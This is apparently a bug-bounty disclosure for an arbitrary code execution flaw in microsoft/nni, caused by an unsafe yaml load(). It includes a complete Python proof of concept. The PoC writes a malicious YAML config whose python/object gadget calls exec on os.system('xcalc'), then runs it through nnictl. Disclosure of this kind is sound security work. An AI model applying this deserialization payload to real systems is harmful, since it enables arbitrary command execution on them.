Code Injection in microsoft/nni
Valid
Reported on
Dec 21st 2020
Description
Arbitrary Code Excecution in microsoft/nni. An open source AutoML toolkit for automate machine learning lifecycle, including feature engineering, neural architecture search, model compression and hyper-parameter tuning.
Technical Description
This package was vulnerable to Arbitrary code execution due to a use of a known vulnerable function load() in yaml
Exploit code
Python File
import os
os.system('pip3 install nni')
exploit = """authorName: !!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('xcalc')"
experimentName: example_mnist_pytorch
trialConcurrency: 1
maxExecDuration: 1h
maxTrialNum: 10
#choice: local, remote, pai
trainingServicePlatform: local
searchSpacePath: search_space.json
#choice: true, false
useAnnotation: false
tuner:
#choice: TPE, Random, Anneal, Evolution, BatchTuner, MetisTuner, GPTuner
#SMAC (SMAC should be installed through nnictl)
builtinTunerName: TPE
classArgs:
#choice: maximize, minimize
optimize_mode: maximize
trial:
command: python3 mnist.py
codeDir: .
gpuNum: 0
"""
open('exploit.yml','w+').write(exploit)
os.system('nnictl create --config exploit.yml')
os.system('rm exploit.yml')
POC
- Run the exploit code
Abhiram V
commented
2 years ago
Hi huntr, The severity is not 3.8 according to msrc it is 7.2 Thanks
Refer: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31200
to join this conversation